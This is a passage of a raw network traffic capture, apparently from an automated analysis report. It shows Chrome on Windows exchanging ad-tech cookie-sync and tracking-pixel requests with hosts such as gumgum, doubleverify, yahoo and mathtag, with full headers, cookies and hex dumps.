2024-04-27 22:42:20 UTC	756	OUT	GET /cm-notify?pi=gumgum HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=Ae9Pv17JW9jx3PfTe025_1714257720455; ts=1714257720
2024-04-27 22:42:20 UTC	397	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:20 GMT vary: Accept-Encoding location: https://usersync.gumgum.com/usersync?b=rth&i=A4DedH0sMfRledw2RGl_v5wMrPITpJr3gtlSBi02byY&pi=gumgum cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Sat, 27 Apr 2024 22:42:20 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.4	50384	34.117.228.201	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	2075	OUT	POST /event.png?impid=2149dbd17c2449a6bf8e3a9340307275&flavor=0&gdpr=&gdpr_consent=&ee_dp_omvk=doubleverify.com-omid&ee_dp_isom=1&dvp_gdpr_Error=3&dvp_gdv2_Error=3&pltm=1&ee_dp_btreg=583281444&ee_dp_btros_64=0&ee_dp_csc=1&ee_dp_cspf=1&ee_dp_tskt=ctdetms%2C1381%2C15%3Biabletms%2C1401%2C7%3Biadletms%2C1408%2C0%3Biadcetms%2C1408%2C2%3Bialeetms%2C1410%2C1%3Bicifdetms%2C1411%2C0%3Btsetms%2C1363%2C38%3Bipvietms%2C1376%2C3%3Bprvietms%2C1363%2C34%3Bfvietms%2C1396%2C5%3Bpovietms%2C1401%2C0%3Bimaetms%2C1380%2C21%3Biesuimestms%2C1363%2C17%3Bsrbf%2C0%2C1%3Bal64%2C1414%2C1%3Bal65536%2C1415%2C0%3Bal128%2C1416%2C6%3Bundefined%2C1424%2C1%3Bal8%2C1424%2C14%3Bal256%2C1438%2C1%3Bal64%2C2482%2C1%3Bal65536%2C2483%2C1%3Bal64%2C4934%2C0%3Bal65536%2C4934%2C0&vdur=663&eoid=26&te_strt=1&te_init=7&te_sup=0&te_exec=0&msrjs=5877&sdf=67108868&vit=2&rmi=16&tltms=2337&tetms=80&msltms=1330&vltms=663&sei=290&vetms=13&tuviims=1480&tuviems=2156&engms=1&engisel=1&dvp_dtcov=4&sim=3&ee_dp_rbgms=1&ee_dp_asmm=1&msrcanlm=394&msrcannum=3&ee_dp_tmads=3 [TRUNCATED] Host: tpsc-ue1.doubleverify.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:21 UTC	340	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:20 GMT Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Access-Control-Allow-Credentials: true Expires: 2024-04-26T22:42:20 Pragma: no-cache Cache-Control: max-age=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.4	50380	211.120.53.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	696	OUT	GET /aux/idsync?proto=gumgum HTTP/1.1 Host: tg.socdm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:21 UTC	827	IN	HTTP/1.1 302 Found Server: nginx Date: Sat, 27 Apr 2024 22:42:21 GMT Content-Length: 0 Connection: close Cache-Control: private Location: https://usersync.gumgum.com/usersync?b=sus&i=Zi1-TcCo5sIAAGeZz2wAAAAA P3P: CP="See also http://www.scaleout.jp/privacy/" Set-Cookie: SOC=Zi1-TcCo5sIAAGeZz2wAAAAA; path=/; expires=Mon, 27-Apr-26 22:42:21 GMT; domain=socdm.com; secure; SameSite=None X-SO-Ads-Time: 1 X-SO-HostName: m-ad1027.dc4p.scaleout.jp X-SO-LB-Hostname: a-tgng40004.dc2p.scaleout.jp X-SO-LB-Data: {"ban":false,"clean_query":"\/aux\/idsync?proto=gumgum","cluster_id":0,"gdpr":false,"ipv4":"149.18.24.69","key":"Zi1-TcCo5sIAAGeZz2wAAAAA","privacy_sensitive":false,"uid":"","upstream_id":"m-ad1027"} X-SO-Key: Zi1-TcCo5sIAAGeZz2wAAAAA X-SO-IP: 149.18.24.69 X-SO-Cluster-ID: 0 X-SO-Upstream-ID: m-ad1027

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.4	50389	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	2318	OUT	GET /setuid?bidder=rubicon&uid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiL [TRUNCATED]
2024-04-27 22:42:21 UTC	1272	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInJ1Ymljb24iOnsidWlkIjoiTFZJT1NBMVctNy02RENNIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MjEuNTk5NTMyMjFaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw [TRUNCATED] vary: Origin content-length: 0
2024-04-27 22:42:21 UTC	492	IN	Data Raw: 64 61 74 65 3a 20 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 34 32 3a 32 31 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 32 0d 0a 73 65 72 76 65 72 3a 20 41 54 53 0d 0a 78 2d 65 6e 76 6f 79 2d 64 65 63 6f 72 61 74 6f 72 2d 6f 70 65 72 61 74 69 6f 6e 3a 20 70 62 73 2d 2d 70 72 6f 64 75 63 74 69 6f 6e 2d 75 73 65 61 35 2e 6d 65 64 69 61 70 6c 61 74 66 6f 72 6d 2d 67 63 70 2d 70 72 6f 64 2d 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 73 76 63 2e 63 6c 75 73 74 65 72 2e 6c 6f 63 61 6c 3a 34 30 38 30 2f 2a 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 41 67 65 3a 20 30 0d 0a 43 6f 6e 6e 65 Data Ascii: date: Sat, 27 Apr 2024 22:42:21 GMTx-envoy-upstream-service-time: 2server: ATSx-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*Referrer-Policy: no-referrer-when-downgradeAge: 0Conne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.4	50391	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	2352	OUT	GET /setuid?bidder=ix&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=Zi1_RMAoJXEAAC4sAhP6pwAACyQAAAAB HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiL [TRUNCATED]
2024-04-27 22:42:21 UTC	1288	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJpeCI6eyJ1aWQiOiJaaTFfUk1Bb0pYRUFBQzRzQWhQNnB3QUFDeVFBQUFBQiIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjIxLjYwODczNzgyN1oifSwibWVkaWFuZXQiOnsidWlkIjoiMzU3MjU5MzI0OTEwNDU5MDAwMFYxMCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjE3LjI1NzAyMzAxNloifSwib3BlbngiOnsidWlkIjoiZTM3MWIxY2QtYjI1My0wOTEzLTE1M2EtZWFhY2I5Yjk0YzUzIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDYuMjAzMzc2MDk1WiJ9LCJzaGFyZXRocm91Z2giOnsidWlkIjoiNTFiOTUxM2QtMzFmYi00ZTEzLThhOTYtMzI2NjE2ZDAwNDNmIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDQuODU5ODQ5NjhaIn0sInNvdnJuIjp7InVpZCI6IklrRVNBVFpIODFfRmFwdnpSeEdRUThydSIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjExLjgwNDY3MzMxN1oifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifSwieWllbGRtbyI6eyJ1aWQiOiJWY0p [TRUNCATED] vary: Origin content-length: 0
2024-04-27 22:42:21 UTC	499	IN	Data Raw: 64 61 74 65 3a 20 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 34 32 3a 32 31 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 33 0d 0a 73 65 72 76 65 72 3a 20 41 54 53 0d 0a 78 2d 65 6e 76 6f 79 2d 64 65 63 6f 72 61 74 6f 72 2d 6f 70 65 72 61 74 69 6f 6e 3a 20 70 62 73 2d 2d 63 61 6e 61 72 79 2d 70 72 6f 64 75 63 74 69 6f 6e 2d 75 73 65 61 35 2e 6d 65 64 69 61 70 6c 61 74 66 6f 72 6d 2d 67 63 70 2d 70 72 6f 64 2d 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 73 76 63 2e 63 6c 75 73 74 65 72 2e 6c 6f 63 61 6c 3a 34 30 38 30 2f 2a 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 41 67 65 3a 20 30 Data Ascii: date: Sat, 27 Apr 2024 22:42:21 GMTx-envoy-upstream-service-time: 3server: ATSx-envoy-decorator-operation: pbs--canary-production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*Referrer-Policy: no-referrer-when-downgradeAge: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.4	50390	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	2280	OUT	GET /setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-915945b2-6af3-4975-9839-febe73c73a74-005&us_privacy=1YNN HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiL [TRUNCATED]
2024-04-27 22:42:21 UTC	1289	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ1bnJ1bHkiOnsidWlkIjoiUlgtOTE1OTQ1YjItNmFmMy00OTc1LTk4MzktZmViZTczYzczYTc0LTAwNSIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjIxLjYxMDkxNzYwMloifSwieWllbGR [TRUNCATED] vary: Origin
2024-04-27 22:42:21 UTC	519	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 38 36 0d 0a 64 61 74 65 3a 20 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 34 32 3a 32 31 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 36 0d 0a 73 65 72 76 65 72 3a 20 41 54 53 0d 0a 78 2d 65 6e 76 6f 79 2d 64 65 63 6f 72 61 74 6f 72 2d 6f 70 65 72 61 74 69 6f 6e 3a 20 70 62 73 2d 2d 63 61 6e 61 72 79 2d 70 72 6f 64 75 63 74 69 6f 6e 2d 75 73 65 61 35 2e 6d 65 64 69 61 70 6c 61 74 66 6f 72 6d 2d 67 63 70 2d 70 72 6f 64 2d 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 73 76 63 2e 63 6c 75 73 74 65 72 2e 6c 6f 63 61 6c 3a 34 30 38 30 2f 2a 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 Data Ascii: content-length: 86date: Sat, 27 Apr 2024 22:42:21 GMTx-envoy-upstream-service-time: 6server: ATSx-envoy-decorator-operation: pbs--canary-production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*Referrer-Policy: no-referrer-wh
2024-04-27 22:42:21 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.4	50387	216.200.232.253	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	632	OUT	GET /sync/img?mt_exid=36&7de677f8-dda1-428e-88ae-9b2fad295b01 HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:21 UTC	514	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:21 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x30 config_version:"68" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" set-cookie: uuid=f26e662d-7f4d-4d00-b052-4dd564d435a2; domain=.mathtag.com; path=/; expires=Sun, 25-May-2025 22:42:21 GMT; SameSite=None; Secure Expires: Sat, 27 Apr 2024 22:42:20 GMT
2024-04-27 22:42:21 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.4	50393	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
